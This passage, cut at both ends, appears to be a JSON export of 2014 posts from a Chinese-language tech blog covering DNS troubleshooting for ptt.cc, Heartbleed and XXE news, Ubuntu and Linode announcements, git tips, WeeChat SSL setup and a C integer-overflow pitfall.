SECTION:\r\nptt.cc.                 300     IN      SOA     ns0.ptt.cc. contact.ptt.cc. 2013102501 3600 900 2419200 3600</pre>\r\n\r\n<pre>; &lt;&lt;&gt;&gt; DiG 9.8.1-P1 &lt;&lt;&gt;&gt; nsout1.ptt.cc @140.112.172.16\r\n\r\n;; AUTHORITY SECTION:\r\nptt.cc.                 300     IN      SOA     ns0.ptt.cc. contact.ptt.cc. 2013102501 3600 900 2419200 3600</pre>\r\n\r\n<pre>; &lt;&lt;&gt;&gt; DiG 9.8.1-P1 &lt;&lt;&gt;&gt; nsout1.ptt.cc @112.121.80.227\r\n\r\n;; AUTHORITY SECTION:\r\nptt.cc.                 300     IN      SOA     ns0.ptt.cc. contact.ptt.cc. 2013102501 3600 900 2419200 3600</pre>\r\n\r\n於是就錯亂了...\r\n\r\n可以先解決的方法是先把 nsout1.ptt.cc 加上去，然後再規劃要怎麼修改兩邊的 record (Ptt 這側的 A/NS record，與 cc 的 A/NS record)。\r\n\r\n補充一下，ptt2.cc 也有同樣問題。",
    "title": "ptt.cc 偶而會解不出 IP 的問題"
  },
  {
    "id": "4469",
    "body": "<a href=\"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0160\">CVE-2014-0160</a>，又稱 Heartbleed Bug，是 <a href=\"https://www.openssl.org/\">OpenSSL</a> 在 TLS 與 DTLS 協定裡的 Heartbeat Extension (<a href=\"https://tools.ietf.org/html/rfc6520\">RFC 6520</a>) 的錯誤實作。\r\n\r\nOpenSSL 官方的 security advisory 在這：「<a href=\"https://www.openssl.org/news/secadv_20140407.txt\">OpenSSL Security Advisory [07 Apr 2014]</a>」，影響的範圍是：\r\n\r\n<blockquote>Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.</blockquote>\r\n\r\n實務上爆炸的程度則是：\r\n\r\n<blockquote>A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.</blockquote>\r\n\r\n比較有描述性的說明可以參考「<a href=\"http://heartbleed.com/\">The Heartbleed Bug</a>」這個站的敘述：\r\n\r\n<blockquote>We have tested some of our own services from attacker's perspective. We attacked ourselves from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication.\r\n</blockquote>\r\n\r\n由於 untraceable，這代表我們必須假設所有受影響機器上的 SSL private key 都已經被洩漏出去了，所有的 key 都必須 revoke 並且重新產生 (&amp; 重新簽)。這兩天讓所有 SA 爆炸的超大新聞...",
    "title": "OpenSSL 安全漏洞 (CVE-2014-0160)"
  },
  {
    "id": "4471",
    "body": "在「<a href=\"http://www.labnol.org/internet/html-punctuation-codes/28479/\">The 10 HTML Codes You Need to Know for Writing on the Web</a>」提到英文裡的標點符號在 HTML 裡對應的標法：\r\n\r\n<img src=\"//i.imgur.com/OAPEkbA.png\" alt=\"\" />\r\n\r\n意外發現最後面的 &amp;prime; (&prime;) 與 &amp;Prime; (&Prime;) 居然不一樣...",
    "title": "英文裡各種標點符號..."
  },
  {
    "id": "4473",
    "body": "2014/01/12 的演講，在 <a href=\"http://g0v.asia/\">g0v.asia</a> 的頁面上有投影片可以看：「<a href=\"http://g0v.asia/mad/\">g0v @ MaD 2014</a>」，另外也有錄影：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"//www.youtube.com/embed/-BYb5wFAxOA\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "g0v.tw 高村長在香港 MaD 2014 上的演講：Open Source, Open Data, and Open Government"
  },
  {
    "id": "4477",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 宣佈支援 hourly billing：「<a href=\"https://blog.linode.com/2014/04/09/introducing-hourly-billing/\">Introducing Hourly Billing</a>」。看起來是被 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 逼的？\r\n\r\n目前最小台的 1GB 是 USD$0.03/hour，以無閏年的二月來算是 USD$20.16，所以最高收到 USD$20 是沒有瑕疵的。\r\n\r\n而有 hourly billing 之後，就更容易拿來測試東西了，而使用 Linode 的人也有機會在上面建立自己的 auto scaling...",
    "title": "Linode 的 Hourly Billing"
  },
  {
    "id": "4479",
    "body": "在「<a href=\"http://blog.docker.io/2014/04/docker-0-10-quality-and-ops-tooling/\">Docker 0.10: quality and ops tooling</a>」這篇官方公佈了 <a href=\"https://www.docker.io/\">Docker</a> 0.10。\r\n\r\n可以看到有不少 bugfix 與 feature 是對檔案系統的改善，讓程式的相容性提高。\r\n\r\n另外也宣示了 1.0 版的目標是要整合管理工具。純粹不會當掉並不足夠，還是要提供並且整合系統管理工具才算是好用的軟體。",
    "title": "Docker 0.10"
  },
  {
    "id": "4482",
    "body": "在「<a href=\"https://www.youtube.com/watch?v=n4gOZrUwWmc\">ONS2014 Keynote: Amin Vahdat, Google</a>」這邊看到的： \r\n\r\n<img src=\"//i.imgur.com/diPMzHX.png\" alt=\"\" />\r\n\r\n相當密集的 CDN 節點數量，連關島都有？不過東俄羅斯的部份好像不多...",
    "title": "Google Global CDN"
  },
  {
    "id": "4484",
    "body": "依據 <a href=\"http://www.bloomberg.com/\">Bloomberg</a> 的報導，NSA 兩年前就知道 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的 <a href=\"http://heartbleed.com/\">Heartbleed bug</a> 了：「<a href=\"http://www.bloomberg.com/news/2014-04-11/nsa-said-to-have-used-heartbleed-bug-exposing-consumers.html\">NSA Said to Exploit Heartbleed Bug for Intelligence for Years</a>」。\r\n\r\n翻了 <a href=\"https://github.com/\">GitHub</a> 上的 mirror 記錄，可以發現是在 2012/01/01 commit 進去的：「<a href=\"https://github.com/openssl/openssl/commit/4817504d069b4c5082161b02a22116ad75f822b1\">commit 4817504d069b4c5082161b02a22116ad75f822b1</a>」，幾乎是一開始就知道了？\r\n\r\n苦啊...\r\n",
    "title": "NSA 從兩年前就知道 OpenSSL 的 Heartbleed bug..."
  },
  {
    "id": "4486",
    "body": "<a href=\"http://heartbleed.com/\">Heartbleed</a> 是惡意的 client 可以利用 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的 <a href=\"https://tools.ietf.org/html/rfc6520\">Heartbeat Extension</a> 漏洞取得 server 的機敏資訊。\r\n\r\n而在「<a href=\"http://blog.meldium.com/home/2014/4/10/testing-for-reverse-heartbleed\">Testing for \"reverse\" Heartbleed</a>」這篇說明 (並且 PoC) 這組漏洞也適用於反向的操作，也就是惡意的 server 可以取得 client 的資訊。\r\n\r\nexploit 相較起來比正向的難一些，但還是可行並且成功做出來了。文章裡有描述怎麼實做的...\r\n\r\n換句話說，反正手上的 OpenSSL 都趕快升級...",
    "title": "OpenSSL 的 Heartbleed 漏洞不限於 Server，也包含 Client..."
  },
  {
    "id": "4488",
    "body": "前幾天有人成功利用 <a href=\"https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing\">XML External Entity</a> 安全問題，取得 <a href=\"https://www.google.com/\">Google</a> 伺服器內的資料：「<a href=\"http://blog.detectify.com/post/82370846588/how-we-got-read-access-on-googles-production-servers\">How we got read access on Google’s production servers</a>」。\r\n\r\n<img src=\"//i.imgur.com/TwucMzS.png\" alt=\"\" />\r\n\r\n可以看到上圖是 <code>/etc/passwd</code> 的內容...\r\n\r\nXML Parser 預設有太多功能是根本不會想要用到的，沒有注意到而忘記關掉就會中獎...",
    "title": "用 XML External Entity 取得 Google 伺服器內的資料"
  },
  {
    "id": "4492",
    "body": "在「<a href=\"http://ryanio.com/2014/music-to-get-work-done/\">Get Work Done: 5 Genres of Music for Unstoppable Productivity</a>」這篇文章裡推薦了五種工作用音樂：\r\n<ul>\r\n\t<li>電視遊戲原聲帶 (Video Game Soundtrack Music)</li>\r\n\t<li>電影原聲帶 (Movie Soundtrack Music)</li>\r\n\t<li>電子音樂 (Electronic)</li>\r\n\t<li>古典音樂 (Classical)</li>\r\n\t<li>爵士樂 (Jazz)</li>\r\n</ul>\r\n而文章的後半段都在推薦入門款的耳機與 DAC... XDDD",
    "title": "工作用音樂"
  },
  {
    "id": "4496",
    "body": "在 <a href=\"http://blog.ijliao.info/\">ijliao</a> 長輩的 blog 上看到「<a href=\"http://blog.ijliao.info/archives/2014/04/02/5307/\">weechat</a>」這篇才想起來 <a href=\"https://freenode.net/\">Freenode</a> 有提供 SSL 連線。\r\n\r\n可以在「<a href=\"https://freenode.net/irc_servers.shtml\">About freenode: IRC Servers</a>」這頁看到 SSL port 的連線資訊：\r\n\r\n<blockquote>All freenode servers listen on ports 6665, 6666, 6667, 6697 (SSL only), 7000 (SSL only), 7070 (SSL only), 8000, 8001 and 8002.</blockquote>\r\n\r\n其中 port 6698/7000/7070 是 SSL only，所以就拿這幾個用。由於我是在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上跑 ppa 版的 <a href=\"http://weechat.org/\">WeeChat</a>，所以基本上只加上這三行就可以了：\r\n\r\n<pre>/set irc.server.freenode.address chat.freenode.net/6697\r\n/set irc.server.freenode.ssl on\r\n/set irc.server.freenode.ssl_dhkey_size 1024</pre>\r\n\r\n連上後應該會看到類似的訊息：\r\n\r\n<pre>gnutls: connected using 1024-bit Diffie-Hellman shared secret exchange\r\ngnutls: receiving 2 certificates\r\n - certificate[1] info:\r\n   - subject `OU=Domain Control Validated,OU=Gandi Standard Wildcard SSL,CN=*.freenode.net', issuer `C=FR,O=GANDI SAS,CN=Gandi Standard SSL CA', RSA key 2048 bits, signed using RSA-SHA1, activated `2014-01-13 00:00:00 UTC', expires `2015-01-14 23:59:59 UTC', SHA-1 fingerprint `2df8bb8922e69f781ef5abcd234fffde0490be21'\r\n - certificate[2] info:\r\n   - subject `C=FR,O=GANDI SAS,CN=Gandi Standard SSL CA', issuer `C=US,ST=UT,L=Salt Lake City,O=The USERTRUST Network,OU=http://www.usertrust.com,CN=UTN-USERFirst-Hardware', RSA key 2048 bits, signed using RSA-SHA1, activated `2008-10-23 00:00:00 UTC', expires `2020-05-30 10:48:38 UTC', SHA-1 fingerprint `a9f79883a075ce82d20d274d1368e876140d33b3'\r\ngnutls: peer's certificate is trusted</pre>\r\n\r\n然後在 status line 裡，<code>server[freenode]</code> 的部份變成綠色的。",
    "title": "使用 SSL 連上 Freenode IRC server"
  },
  {
    "id": "4503",
    "body": "code name 為 Trusty Tahr 的 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04 在最終要釋出的準備了：「<a href=\"https://lists.ubuntu.com/archives/ubuntu-devel-announce/2014-April/001095.html\">Final Freeze for Ubuntu 14.04 LTS (trusty) at 2100UTC today</a>」。\r\n\r\nUbuntu 的 LTS 規劃也找到一個大家都可以接受的平衡點了：整個社群與商業團體都會把 LTS 版本列為重點支援，固定兩年 release 一次的時間表讓這些人 (社群與商業團體) 也都很清楚知道什麼時間點要更新。\r\n\r\n而 LTS 也不是完全凍結而只更新安全部份：(下面出自「<a href=\"https://en.wikipedia.org/wiki/List_of_Ubuntu_releases\">List of Ubuntu releases</a>」)\r\n\r\n<blockquote>Like other LTS releases, 12.04 will include point releases that bundle updates to shorten downloads for users installing the release later in its lifecycle. The point releases and dates are: 12.04.1 (23 August 2012), 12.04.2 (14 February 2013), 12.04.3 (scheduled for release on 22 August 2013, but actually released on 23 August 2013) and 12.04.4 (6 February 2014).</blockquote>\r\n\r\n對於 Point release 沒有更新的軟體，用 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a> 的方式讓社群去維護 LTS 平台上的支援。",
    "title": "Ubuntu 14.04 LTS Trusty 最後階段開跑"
  },
  {
    "id": "4505",
    "body": "在「<a href=\"http://insights.ubuntu.com/news/ubuntu-14-04-lts-the-cloud-platform-of-choice/\">Ubuntu 14.04 LTS: the cloud platform of choice</a>」這篇：\r\n\r\n<blockquote>Canonical today announces Ubuntu 14.04 LTS will be released on 17th April 2014, bringing a new level of reliability, performance and interoperability to cloud and scale out environments with support and maintenance for five years.</blockquote>\r\n\r\n恭喜了，第三個 LTS 版本！",
    "title": "Canonical 宣佈 2014 年四月 17 日發布 Ubuntu 14.04 LTS"
  },
  {
    "id": "4507",
    "body": "在「<a href=\"http://emmanuelbernard.com/blog/2014/04/14/split-a-commit-in-two-with-git/\">Split a commit in two with Git</a>」這邊看到有趣的方法：\r\n\r\n<pre>git rebase -i &lt;oldsha1&gt;\r\n# mark the expected commit as `edit` (replace pick in front of the line), save a close\r\ngit reset HEAD^\r\ngit add ...\r\ngit commit -m \"First part\"\r\ngit add ...\r\ngit commit -m \"Second part\"\r\ngit rebase --continue</pre>\r\n\r\nsquash 是把多個 commit 合起來，這個方法是拆開。還沒有 push 出去，需要整理時應該會用到...",
    "title": "把 Git commit 切開"
  },
  {
    "id": "4509",
    "body": "公司用 <a href=\"http://trac.edgewall.org/\">Trac</a> 當作 issue tracking system，預設的 &lt;pre&gt; 是不會斷行的，但好像也不是所有人都能夠接受換行，所以在自己的 browser 裡面處理掉。\r\n\r\n在裝了 <a href=\"https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe\">Stylish</a> 後，針對內部網域建立以下 CSS 效果：\r\n\r\n<pre>#content pre {\r\n  word-wrap: break-word;\r\n}</pre>\r\n\r\n用 <code>word-wrap</code> 強制斷行，在大多數的情況下會看得比較清楚，也不會影響到 copy/paste 時的行為。",
    "title": "Trac 裡 &lt;pre&gt; 元素的換行..."
  },
  {
    "id": "4512",
    "body": "被搞混了幾十秒鐘後才發現列錯了：\r\n\r\n<img src=\"//i.imgur.com/M0G0JxF.png\" alt=\"\" />\r\n\r\n出自 <a href=\"http://aws.amazon.com/ec2/pricing/\">Amazon EC2 Pricing</a> 這頁。",
    "title": "難得看到 AWS 標錯..."
  },
  {
    "id": "4514",
    "body": "愚人節不只是四月一日要擔心被騙 (還要記得算時區)，更要擔心四月二日沒有撤掉...\r\n\r\n<img src=\"//i.imgur.com/H6su4YQ.png\" alt=\"\" />\r\n<small>出自「<a href=\"https://www.facebook.com/rurokenmovie/posts/688096881255001\">映画『るろうに剣心』 - 剣心Ver.くまモンに続き、なんと志々雄Ver.くまモンが登場！これは本当だモン！劇場前売り特典決定！...</a>」</small>\r\n\r\n要出特典了是怎樣啊啊啊～\r\n\r\n出自四月一日的 <a href=\"https://twitter.com/\">Twitter</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>また、映画館ではポスターの張替え作業が急ピッチで行われております。（一部劇場を除く）<a href=\"https://twitter.com/search?q=%23%E3%82%8B%E3%82%8D%E3%81%86%E3%81%AB%E5%89%A3%E5%BF%83&amp;src=hash\">#るろうに剣心</a> <a href=\"http://t.co/1zWFPv06aP\">pic.twitter.com/1zWFPv06aP</a></p>&mdash; 映画『るろうに剣心』公式アカウント (@ruroken_movie) <a href=\"https://twitter.com/ruroken_movie/statuses/450729183052693504\">March 31, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "愚人節要擔心的事情..."
  },
  {
    "id": "4517",
    "body": "在「<a href=\"http://blog.4chan.org/post/81896300203/webm-support-on-4chan\">WebM support on 4chan</a>」這篇公告裡 <a href=\"http://www.4chan.org/\">4chan</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/WebM\">WebM</a> 格式。\r\n\r\n由於目標是提供 GIF 的替代方案，所以目前開放的 WebM 內容有限制：\r\n\r\n<blockquote>we only accept WebM files with one video stream and no audio streams, that are shorter than 120 seconds long, no larger than 2048x2048 pixels, and less than 3 MB in size.</blockquote>\r\n\r\n讓我另外注意到的是：\r\n\r\n<blockquote>however 86% of 4chan’s visits come from browsers that include full or partial support for WebM</blockquote>\r\n\r\n依照「<a href=\"http://caniuse.com/webm\">Can I use the WebM/VP8 video format</a>」，這代表大多數 4chan 的使用者都是用 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 與 <a href=\"https://www.google.com/chrome\">Chrome</a>？",
    "title": "4chan 支援 WebM..."
  },
  {
    "id": "4519",
    "body": "意外在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到「<a href=\"http://steachs.com/archives/3675\">如何阻擋網站被 7headlines 等類似的網站用 iframe 嵌入？</a>」這篇，才發現在 <a href=\"http://wordpress.org/\">WordPress</a> 裡的 <a href=\"http://wordpress.org/plugins/sem-frame-buster/\">Frame Buster</a> 不會動了...\r\n\r\n不知道 Frame Buster 是升級到 WordPress 3.9 後才不會動，還是不會動很久了 (剛好是在今天升級到 WordPress 3.9)，只好去找替代品...\r\n\r\n測了一下確認「<a href=\"http://wordpress.org/plugins/wp-no-frames/\">WP No Frame</a>」是會動的，不過看了 HTTP response header，好像是純 javascript 的方案，沒有包括 <a href=\"https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options\">X-Frame-Options</a>，有點可惜，但先這樣放著跑吧...",
    "title": "避免 WordPress 被嵌入的 Plugin..."
  },
  {
    "id": "4521",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 宣佈了規格提昇 (記憶體與流量) 以及 SSD 方案：「<a href=\"https://blog.linode.com/2014/04/17/linode-cloud-ssds-double-ram-much-more/\">The New Linode Cloud: SSDs, Double RAM & much more</a>」。\r\n\r\n<img src=\"//i.imgur.com/3US3mcv.png\" alt=\"\" />\r\n\r\n那個 Linode 2G 的方案流量不是 2TB 而是 3TB，明顯是針對 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的同等級方案而設計的...\r\n\r\n不過既有的客戶並不是馬上就有得用，要再等一陣子：\r\n\r\n<img src=\"//i.imgur.com/iQXt0u2.png\" alt=\"\" />\r\n\r\nCPU 與網路頻寬的提昇也是本次有提到的項目。CPU 將會是 Ivy Bridge E5-2680.v2，而每台 Linode host server 變成用 40Gbps 接到骨幹了。\r\n\r\n這幾波動作累積下來，似乎趕上 DigitalOcean 不少？",
    "title": "Linode 提昇規格，並提供 SSD 方案..."
  },
  {
    "id": "4523",
    "body": "前幾天 <a href=\"http://aws.amazon.com/\">AWS</a> 公佈了「<a href=\"http://aws.typepad.com/aws/2014/04/evaluate-security-products-using-aws-marketplace.html\">Evaluate Security Products With no Software Charges by Using AWS Marketplace</a>」，在 5/15 前有六個資安產品可以試用 120 小時。\r\n\r\n有 WAF、Firewall，也有 UTM，另外還有 data encryption 的方案。找機會來測試看看好了，不知道是擋在哪一層...",
    "title": "AWS 上資安產品試用..."
  },
  {
    "id": "4530",
    "body": "在「<a href=\"http://undeadly.org/cgi?action=article&amp;count=0&amp;mode=expanded&amp;sid=20140418063443\">One week of OpenSSL cleanup</a>」這篇提到了 <a href=\"http://www.openbsd.org/\">OpenBSD</a> 的 committer 最近花了不少時間在清理 <a href=\"https://www.openssl.org/\">OpenSSL</a> (OpenBSD 內的 OpenSSL)。\r\n\r\n<blockquote>All combined, there've been over 250 commits cleaning up OpenSSL. In one week.</blockquote>\r\n\r\n清理的過程主要是針對 OpenBSD 所支援的平台，所以其他平台的支援都被拔乾淨了。即使如此，清過後的版本重新 porting 到各 Unux-like 平台應該是還蠻有希望的。\r\n\r\n在 <a href=\"http://freshbsd.org/\">BSD Commit Log Search</a> 這邊則可以搜尋到 OpenSSL 被清的情況：「<a href=\"http://freshbsd.org/search?project=openbsd&q=libssl\">http://freshbsd.org/search?project=openbsd&amp;q=libssl</a>」。\r\n\r\n花些時間翻一翻，會可以看到 OpenSSL 很多習慣並不好 (尤其是在資安領域)。\r\n\r\n像是 OpenSSL 預設居然沒有把所有的 code 都上 <code>-Wall</code>，這點讓人有點... 呃... 要怎麼說呢...：「<a href=\"http://freshbsd.org/commit/openbsd/58c7f6cb678b7e31b80d290b5823b16d70760801\">58c7f6cb678b7e31b80d290b5823b16d70760801</a>」。\r\n\r\n然後看到大量的 potential double free fix，呃...\r\n\r\n繼續看下去吧，看起來 OpenBSD 這一波 cleanup 應該會再爆出一些安全問題 (多冒出幾個 CVE 出來)。",
    "title": "OpenBSD 的 OpenSSL 清理工作"
  },
  {
    "id": "4533",
    "body": "「<a href=\"http://randomascii.wordpress.com/2014/04/17/buggy-security-guidance-from-apple/\">Buggy Security Guidance from Apple</a>」這篇再次說明了 C 語言因為 undefined behavior 而讓 coding 需要注意的事情變多...\r\n\r\n這段 code：\r\n\r\n<pre>size_t bytes = n * m;\r\nif (n &gt; 0 && m &gt; 0 && SIZE_MAX/n &gt;= m) {\r\n    ... /* allocate \"bytes\" space */\r\n}</pre>\r\n\r\n問題在於 C 語言裡對 overflow 並沒有定義行為 (undefined behavior)，所以 <code>size_t bytes = n * m;</code> 這段 code 並不保證當 overflow 後 bytes 的值會是多少，於是就很容易造成各種意外。\r\n\r\n原文有提到更多資訊，以及提出的解法，這邊就不提了...",
    "title": "檢查大小時要注意的問題"
  },
  {
    "id": "4535",
    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的正式公告：「<a href=\"https://lists.ubuntu.com/archives/ubuntu-announce/2014-April/000182.html\">Ubuntu 14.04 LTS (Trusty Tahr) released</a>」。\r\n\r\n新裝的機器當然沒有問題，而 13.10 要升級到 14.04 已經提供升級指引了：「<a href=\"http://www.ubuntu.com/download/desktop/upgrade\">Upgrade from Ubuntu 13.10 to 14.04 LTS</a>」。\r\n\r\n不過 12.04 LTS 要升級到 14.04 LTS 的人要等到七月：\r\n\r\n<blockquote>Users of 12.04 LTS will be offered the automatic upgrade when 14.04.1 LTS is released, which is scheduled for July 24th. For further information about upgrading</blockquote>\r\n\r\n來重灌好了 (把 Windows 的習慣拿過來用...)。",
    "title": "Ubuntu 14.04 LTS 出版"
  },
  {
    "id": "4537",
    "body": "<a href=\"https://www.python.org/\">Python</a> 2.7 將支援到 2020 年：「<a href=\"http://hg.python.org/peps/rev/76d43e52d978\">Extend Python 2.7 life till 2020.</a>」。\r\n\r\n<blockquote>The End Of Life date (EOL, sunset date) for Python 2.7 has been moved five years into the future, to 2020.  This decision was made to clarify the status of Python 2.7 and relieve worries for those users who cannot yet migrate to Python 3.  See also PEP 466.\r\n\r\nThis declaration does not guarantee that bugfix releases will be made on a regular basis, but it should enable volunteers who want to contribute bugfixes for Python 2.7 and it should satisfy vendors who still have to support Python 2 for years to come.</blockquote>\r\n\r\n有種淡淡的哀傷...",
    "title": "Python 2.7 再活五年..."
  },
  {
    "id": "4541",
    "body": "<a href=\"http://www.isc.org/\">ISC</a> 將 <a href=\"https://www.isc.org/downloads/bind/\">BIND</a> 的主導權轉移到社群上，並且改名為 <a href=\"http://bundy-dns.de/\">bundy</a>：「<a href=\"http://lwn.net/Articles/595347/\">ISC releases BIND 10 1.2, renames it, and turns it over to community</a>」。\r\n\r\n開發也將轉移到 <a href=\"https://github.com/\">GitHub</a> 上，不過看起來 bundy 的名字已經被用掉了，不知道會用哪個 organization name...",
    "title": "ISC 將 BIND 之後的開發主導權轉移給社群"
  },
  {
    "id": "4551",
    "body": "符合 blog 副標題的一篇文章。\r\n\r\n之前是拿 BBS 看板來存動畫的記錄，不過自從跑在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 32bits 上的 BBS code 一直沒辦法轉移到 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 64bits，就放棄用 BBS 看板管動畫記錄了...\r\n\r\n現在是拿 <a href=\"http://git-scm.com/\">Git</a> 來存動畫記錄，後來發現內建的 <a href=\"http://git-scm.com/docs/git-log\">git log</a> 搜尋起來比 BBS 方便太多，就回不去了...\r\n\r\n以「<a href=\"https://zh.wikipedia.org/wiki/%E9%AD%94%E6%B3%95%E6%88%B0%E7%88%AD\">魔法戰爭</a>」來說：\r\n\r\n<pre>$ <strong>git log -S '魔法戰爭' --pretty=%h | xargs -n1 git show</strong>\r\ncommit 9a6af4ec77561777b854a7ea44da29e197a9dcc2\r\nAuthor: Gea-Suan Lin &lt;gslin@gslin.org&gt;\r\nDate:   Mon Apr 7 00:55:49 2014 +0800\r\n\r\n    Update.\r\n\r\ndiff --git a/Anime.txt b/Anime.txt\r\nindex 080f94a..cd21e14 100644\r\n--- a/Anime.txt\r\n+++ b/Anime.txt\r\n@@ -42,4 +42,3 @@ Z/X IGNITION                            e01\r\n 銀之匙 Silver Spoon 第二季              e04\r\n 鬼燈的冷徹                              e05\r\n 魔女的使命                              e04\r\n-魔法戰爭                                e11\r\ncommit 856a27ab4071fb19ca58de3725cdedf53815894b\r\nAuthor: Gea-Suan Lin &lt;darkkiller@gmail.com&gt;\r\nDate:   Mon Feb 10 04:46:57 2014 +0800\r\n\r\n    Update.\r\n\r\ndiff --git a/Anime.txt b/Anime.txt\r\nindex ddb11ea..e5995eb 100644\r\n--- a/Anime.txt\r\n+++ b/Anime.txt\r\n@@ -22,3 +22,4 @@ WIZARD BARRISTERS～弁魔士賽希爾         e01\r\n 偽戀                                    e02\r\n 天才麻將少女 全國篇                     e05\r\n 鬼燈的冷徹                              e05\r\n+魔法戰爭                                e04</pre>\r\n\r\n<code>-S</code> 只會列出「出現」與「消失」的時候，而且 <code>-S</code> 後面接的是 string 而非 regex。\r\n\r\n如果要找所有與「魔法戰爭」相關的變更，則改用 <code>git log -G</code>，要注意的是後面接的是 regex：\r\n\r\n<pre> $ <strong>git log -G '魔法戰爭' --pretty=%h | xargs -n1 git show</strong></pre>\r\n\r\nGit 超好用的... XD",
    "title": "用 git log 的 -S 與 -G 找變更記錄"
  },
  {
    "id": "4559",
    "body": "查 <a href=\"http://www.php.net/\">PHP</a> 上 CRC32 的資料時，查到讓人噴飯的 <a href=\"http://www.php.net/manual/en/function.hash-file.php#104836\">comment</a>：\r\n\r\n<pre>For those who are wondering, there appears to be no fundamental difference between hash_file('md5')/hash_file('sha1') and md5_file()/sha1_file(). They produce identical output and have comparable performance.\r\n\r\nThere is, however, a difference between hash_file('crc32') and something silly like crc32(file_get_contents()).\r\n\r\ncrc32(file_get_contents())'s results are most similar to those of hash_file('crc32b'), just with the octets reversed:\r\n\r\n&lt;?php\r\n$fname = \"something.png\";\r\n\r\n$hash = hash_file( 'crc32', $fname );\r\necho \"crc32  = $hash\\n\";\r\n\r\n$hash = hash_file( 'crc32b', $fname );\r\necho \"crc32b = $hash\\n\";\r\n\r\n$hash = sprintf(\"%x\",crc32(file_get_contents($fname)));\r\necho \"manual = $hash\\n\";\r\n?&gt;\r\n\r\ncrc32  = f41d7f4e\r\ncrc32b = 7dafbba4\r\nmanual = a4bbaf7d</pre>\r\n\r\n不只是 <code>hash_file()</code> 抓出來不一樣，連 algorithm 都來亂...",
    "title": "PHP 的 crc32、crc32b 以及 hash_file"
  },
  {
    "id": "4565",
    "body": "把圖片上的文字辨識直接做成 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的延伸套件，預設就辨識好後讓你可以直接選取：「<a href=\"https://chrome.google.com/webstore/detail/project-naptha/molncoemjfmpgdkbdlbjmhlcgniigdnf\">Project Naptha</a>」。\r\n\r\n這是官方提供的範例：\r\n\r\n<img src=\"//i.imgur.com/kUzQTQD.gif\" alt=\"\" />\r\n\r\n一張含有文字的圖片可以直接 OCR 出來變成文字選擇。\r\n\r\n官方網站上有說，這是 client-side javascript：\r\n\r\n<blockquote>One of the more impressive things about this project is the fact that it's almost entirely written in client side javascript. That means that it's pretty much totally functional without access to a remote server.</blockquote>\r\n\r\n不過預設會傳回去，但可以關掉：\r\n\r\n<blockquote>By default, when you begin selecting text, it sends a secure HTTPS request which lacks any kind of identifiable information to the Project Naptha cached remote OCR and Translation service. This allows you to recognize text from an image with much more accuracy than otherwise possible. However, this can be disabled simply by checking the \"Disable Lookup\" item under the Options menu.</blockquote>\r\n\r\n也就是這個選項：\r\n\r\n<img src=\"//i.imgur.com/qUMp2Rd.png\" alt=\"\" />\r\n\r\n這功能好讚...",
    "title": "圖片上的文字辨識：Project Naptha"
  },
  {
    "id": "4567",
    "body": "當 <a href=\"https://www.arin.net/\">ARIN</a> 只剩下最後一個 /8 的 IPv4 位置時，將會啟動第四階段的發放機制，而昨天進入這個機制了：「<a href=\"https://www.arin.net/announcements/2014/20140423.html\">ARIN Enters Phase Four of the IPv4 Countdown Plan</a>」。\r\n\r\n<img src=\"//i.imgur.com/ykwW1Mc.png\" alt=\"\" />\r\n<small>出自「<a href=\"https://www.arin.net/resources/request/ipv4_countdown.html\">ARIN IPv4 Countdown Plan</a>」這頁。</small>\r\n\r\n目前的進度是：\r\n<ul>\r\n\t<li>Phase One began in February 2011 when ARIN received its last /8 from IANA.</li>\r\n\t<li>Phase Two began in September 2012 when ARIN reached three remaining /8 equivalents.</li>\r\n\t<li>Phase Three began in August 2013 when ARIN reached two remaining /8 equivalents.</li>\r\n\t<li>Phase Four began in April 2014 when ARIN reached one remaining /8 equivalent.</li>\r\n</ul>\r\n不過 IPv6 的進展還是苦哈哈啊...",
    "title": "ARIN 進入 IPv4 Countdown Plan 的第四階段"
  },
  {
    "id": "4570",
    "body": "<a href=\"https://www.google.com/\">Google</a> 主推的 <a href=\"https://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-04\">ChaCha20-Poly1305</a> 在 <a href=\"http://www.android.com/\">Android</a> 上的 <a href=\"https://play.google.com/store/apps/details?id=com.android.chrome\">Chrome</a> 可以看出顯著的效能差異：「<a href=\"http://googleonlinesecurity.blogspot.com/2014/04/speeding-up-and-strengthening-https.html\">Speeding up and strengthening HTTPS connections for Chrome on Android</a>」。\r\n\r\n在加密速度上與 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a>-<a href=\"https://en.wikipedia.org/wiki/Galois/Counter_Mode\">GCM</a> 的差異：\r\n\r\n<img src=\"//i.imgur.com/BghKgPG.png\" alt=\"\" />\r\n\r\nAES-GCM 畢竟是標靶，被打爆本來就是預期中的事情，在 Google 大力推動下，應該是還蠻有機會成為主流...\r\n\r\n不過隔壁棚好像還是沒什麼進展，不知道要等到何時：「<a 